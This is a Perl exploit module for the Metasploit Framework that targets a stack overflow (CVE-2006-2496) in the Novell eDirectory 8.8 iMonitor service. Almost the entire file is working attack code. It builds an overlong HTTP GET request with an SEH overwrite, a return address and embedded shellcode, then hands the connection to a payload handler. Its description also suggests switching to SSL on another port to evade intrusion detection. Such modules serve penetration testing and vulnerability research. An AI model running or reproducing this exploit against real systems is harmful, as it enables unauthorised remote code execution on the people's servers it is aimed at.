package Msf::Exploit::edirectory_imonitor2;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'eDirectory 8.8 iMonitor Remote Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm[at]metasploit.com>' ],

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 8028 ],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in eDirectory 8.8 iMonitor
service. This vulnerability was discovered by CIRT.DK and released
through the ZDI program. This module was based on the edirectory_imonitor
exploit supplied by an anonymous user. If you feel like evading an IDS,
just set 'RPORT' to 8030 and 'SSL' to 1 :-)
}),

'Refs' =>
[
['BID' => '18026'],
['CVE' => '2006-2496'],
['URL' => 'http://support.novell.com/cgi-bin/search/searchtid.cgi?/2973759.htm'],
],

'Targets' =>
[
[ 'Windows (ALL) - eDirectory 8.8 iMonitor', 0x63501f15] # pop/pop/ret
],

'Keys' => ['imonitor'],

'DisclosureDate' => 'May 22 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $req = Pex::Text::AlphaNumText(8192);

# Standard SEH overwrite... yawn
substr($req, 4158, 4, pack('V', $target->[1]));
substr($req, 4154, 2, "\xeb\x06");
substr($req, 4162, length($shellcode), $shellcode);

# Force this to trigger the exception (cmp [eax], 0)
substr($req, 4102, 4, "\xff\xff\xff\xff");

my $request =
"GET /nds/$req HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $target_host:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

$s->Send($request);

$self->PrintLine("[*] Overflow request sent...");

$self->Handler($s);
return;
}